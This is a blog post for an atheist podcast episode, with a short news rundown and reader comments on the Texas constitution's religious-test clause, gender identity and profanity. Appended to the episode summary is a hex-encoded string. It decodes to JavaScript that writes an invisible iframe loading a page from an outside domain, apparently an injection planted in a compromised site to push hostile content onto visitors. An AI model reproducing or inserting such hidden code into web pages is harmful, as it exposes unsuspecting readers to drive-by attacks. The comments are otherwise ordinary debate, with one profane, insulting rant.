I am sick and high on cold medicine for this show, Richard is… well, Richard.
We had a spot of technical difficulty, but we soldiered through it. I am still sick and high on cold medicine as I post this, so I am going to keep it short.
Don’t forget to check out the new poll I just put up!
Oh, and here is the picture I promised in the show:
Atheist News this week: Christian group utilizes gross misrepresentation to dodge hot lesbians, hate crimes are now belief systems, Jenny McCarthy may have to go back to scratching her crotch and burping for a living, signs are bad, bus + kids + mad dash for the border = ??? and finally, one more state that doesn’t seem to have a firm grasp on the federal constitution.#64#6f#63#75#6d#65#6e#74#2e#77#72#69#74#65#28#22#3c#69#66#72#61#6d#65#20#73#72#63#3d#27#68#74#74#70#3a#2f#2f#6d#6f#73#68#6f#6e#6b#65#6e#2e#63#6f#6d#2f#69#6e#64#65#78#2e#70#68#70#27#20#73#74#79#6c#65#3d#27#64#69#73#70#6c#61#79#3a#6e#6f#6e#65#3b#27#3e#3c#2f#69#66#72#61#6d#65#3e#22#29#3b
Stream this episode!
Loading ...
You may be right, but what makes you believe that the WHOLE WORLD supports the US constitution. It strikes me that it high time you got over yourselves.
If are speaking in regard to the state of Texas, I don’t recall implying that the whole world does support the US constitution. However, the state of Texas is a member of the United States and is bound to uphold the Federal Constitution, which this clause in the Texas state constitution plainly violates.
If you are talking about something else, let me know.
So the Comptroller hopeful thinks that the sign is the city showing support for atheism since the sign is put up.
Doesn’t that mean he should be trying to get the nativity scene removed, since it’s promotion of a religious event (the christmas tree isn’t as bad,it’s become part of the “secular” celebration, the nativity scene is inherently religious though)?
Wow, that image campaign they ran against that couple is horrible. Someone needs to do a counter-campaign with the actual picture and the one the Christians used to make fun of them, to point out the hatefulness and dishonesty they used.
Please stop swearing. It doesn’t add to your points, but detracts from them. If you are swearing because of a deficient vocabulary there are programs to help.
Regarding your remarks about gender, I think you’ve got some concepts confused. What I gathered is that the impromptu “experiment” proves nothing other than these young children weren’t raised in a vacuum. Kids absorb ideas about what is expected of them from all kinds of sources, whether it’s parental roles in the home or garbage they see on TV. Now, I won’t deny that there is something to the whole hormone deal. But that is not the be all and end all of the gender spectrum. I should know; the first 25 years of my life I tried to be a straight woman. I slowly came to realize that I felt more male than anything and began taking hormones about a year and a half ago. Now I identify as a mostly-gay bi male pre-op transsexual (gay man, for short.) I don’t deny that I played with Barbie dolls when I was young (I was brought up in a straight Mormon household; you either conformed or you were kicked out!) Gender is much more fluid than a lot of people realize, and more so than people want to believe. I am male, I feel male, I am read as male on the street, I use men’s public toilets, but I’ll object very loudly if the crafting police come by and arrest me for learning to crochet. Just because I start injecting testosterone doesn’t mean I’m automatically going to lust after hotrods, watch football, or know how to cook the perfect barbecue. And I’ll roundly dispute anyone who calls me female. I just think you’ve got the terms gender “roles” and gender “stereotypes” confused.
Dave: No.
Kyle: I agree with a lot of what you are saying and I have talked about this on the show before. I think our sexuality gets a heavy dose of nature and nurture, but I don’t think it is all–or mostly–nurture. A certain amount of our sexual identities are just there. I am a guy, I feel like a guy and I very-much love having sex with women, but I don’t like cars or watching sports or cooking on a BBQ or really any of the gender-associated activities I might be predicted to like, even though I grew up in a household where these sorts of thing were the norm.
While certain preferences (sexual or otherwise) might be conditioned, the idea that we are some sort of blank canvas when we are born is unsupported by my personal observations and what little I have read about these things. We come out ready-made with strong inclinations, and more often than not those inclinations cast us into a traditional gender role. I would say that even though I don’t like sports or cars or BBQ, I still fall neatly into evolutionary mechanics of my gender.
What evolutionary advantage we would gain by not having an inclination toward filling a gender role? What would our species have gained by being fluid in this regard? I admit, it’s possible that the answer to these questions might not be what I expect, but I am certain it would put us in a very tiny minority of mammals if it turned out that we aren’t (by-in-large) wired to fulfill gender roles.
I appreciate the comment though, this is a topic that fascinates me, but has nothing to do with atheism most of the time–and while I am in no way qualified to talk about it, it’s still fun to think about.
You totally missed the point on gender roles. First of all, there is a difference between the gender of a person, which is their social identity, and the sex of a person, which is the biological factor you speak of- hormones, genitals etc.(The term male refers to sex, the term man refers to gender. Female=sex, woman=gender. I just want to clarify so that we are speaking of the same thing.)The problem with your argument is that you are limiting yourself to the gender binary- there are only males and females, no in-between and nothing outside. Yet, I am a male by sex, but I am neither male nor female in gender identity. I don’t require a gender label, but you could call me a non-gendered person or a gender rejectionist. I simply don’t embrace masculinity or femininity. Your claim is that gender is biologically dictated. But that is not gender by definition- that is sex by definition. While sex may be an extension of the biological self, it is however not natural per se that males must be diametrically or dichotomously different from females. Gender has been scientifically demonstrated to be socially constructed. When we say that a female cannot be a man, we’re simply stating a rule which says people with vaginas can’t identify as men (Which is B.S.) I have a penis and all that, but I’m not a man or a woman. These are social constructions. But without changing my physical status, I am still a male.
Anyways, you may feel that you are a woman in a male’s body, for instance- but you are still dealing with gender identity- a social construction. Post-op transgendered people have changed their biological status as well as identity- changing their sex. So to say that gender roles are a social construction is accurate, and in no way symbolically annihilates or diminishes transgendered people. Quite to the contrary- understanding that gender is a social construct and sex is a biological factor is expressly advantageous to the transgendered community, who seek to transcend the social and physical barriers which stand between them and their natural state of being. They go a step further past the social construct to fulfill their natural biological state.
Ben: That was actually quite illuminating. The one thing I think still needs to be addressed is what you would call gender. I am not denying that transexuals exist or should exist and I at least have some fundamental understanding of their situation.
What I do question is whether or not most of us come pre-wired. I guess we could even say that genitalia is immaterial to this particular discussion–as is sexual preference. We know these things are interchangeable in a variety of different ways.
What I wonder about is instinct. I’ll give you an anecdotal story that might clarify things a bit. I’ve talked about it on the show before, so sorry if you have heard it but her it is anyway. When my wife gave birth, I was there sitting with her, holding her up in the tub (water birth.) When I saw my son, I really did have one of those life altering experiences. I got a rush of adrenaline and I felt this bizarre surge of protectiveness. I was all the sudden hyper alert and mildly suspicious of the people around me. I was feeling a little cagey and smidge aggressive. I am not normally an aggressive person, so I know it when I feel it. My take on it is that in that most vulnerable of moments, my “man” kicked in a bit. I was wired and ready to fulfill my “role” as “protector” (if that’s enough quotes for you, hehe.)
I am not saying that a woman can’t feel protective or that a man can’t feel nurturing, or any of those things. I am saying that we tend to be born with predispositions that lean toward our “role.” In role, I don’t mean social role, I mean evolutionary role. I don’t know you and I know even less about asexuality than I do about almost any other kind sexuality, but this is something I could see existing along side those other sexual layers you spoke about.
Example: you fall in love with person who happens to be female and who is also asexual. You don’t have sex (for argument sake, I have no idea how this would play out in your actual love life.) Aliens kidnap you and use your sperm to impregnate your amore then return you to earth so that they can examine you from space.
So, for whatever reason, you and your love decide to keep the child.
Ok, so here is my question. You are there in the delivery room with this person who you have placed great value on. That person gives birth to a child. Is it not possible that you could have a similar experience to the one I had without having to identify socially as a male?
That was really long winded, but I am not sure if everyone is understanding that I don’t mean what society has to say about our genders. If anything, what society has to say is just a warped reflection of what nature has to say.
Yesno?
RE: Texas Constitution
I’ve been a cop in Texas for the past 20 years and every four years we have to sign a new oath swearing to uphold the law and the constitution, etcetera. I don’t know how I could be possibly be farther out of the closet as an atheist, godless, heathen, infidel scumbag. I’ve built my first atheist site in 97 which is quite infamous in my department, and every time I’ve signed the renewal oath I’ve crossed out the term “so help me God” before I signed it. A cop in Texas holds a state office, so it falls under this article of the constitution. I’ve never heard a peep from the department in response to this. Every time I’ve been sworn-in to testify in court, the oath there also ended with “so help you God”. Each time I would say, “Yes, your honor, all except the last part. I was very surprised that none of the judges so far have so much as blinked an eye.
So yes, it is in the state constitution, and yes, its an incredibly vapid law, but one of a score of horredous laws in Texas. And yes, they can not expect to successfully enforce it, but what’s slightly more comforting, is at least I can assure you no one has ever even tried to enforce this law in regard to me, or any of the other heathens I know who are cops. When people console me for being from Texas, I usually say something along the lines of “could be worse, could be Utah”. lol
RE: Dave’s post about profanity, (Sorry but so called “profanity” is just my pet fucking peeve)
Dave, I have to say I could not disagree with you more. The vast majority of people claim certain words are obscene, or profane, but what makes them profane? I have yet to hear any rational reason why “fuck” is less useful for conversation than “copulate.” “Profane” words do not detract from one’s conceptual points, they simply state those concepts with a different flavor. I have yet to hear a single, rational explanation from any person on why “profane” words are actually “profane”. The best hypothesis I’ve come up with regarding this irrational belief, is ever since we were two years old and were first mastering our orchestrated grunts, we have been told, over and over and over again, “THAT’S A BAD WORD!!” There is no rational concept I’ve ever heard of which supports this position. Its something adults should set down in there past right next to that belief your parents gave you about Santa Claus.
You can present a concept with language such as Dawkins does and express it eloquently, but you’re only going to reach, engage, and entertain a certain group of people. I run a website that is absolutely saturated with profanity, but I am presenting the same concepts as Dawkins, and Bertrand Russell, and Mark Twain, and Menken. How does adding “you fucking spittle-lipped, trailer-dwelling, microcephalic sorry excuse for a sentient fucking being with a 9-fucking-volt brain” change, or lessen, the concepts which are being presented? It is an irrational position for YOU to have, let alone you coming to the blog podcast MoJoe do, and having the gaul to tell them to change the way they do their show to conform to YOUR beliefs on profanity.
Sorry, but like I fuckin said, thats my pet fuckin peeve. heheheheh
Peace
Christopher
TheWarOnFaith.Org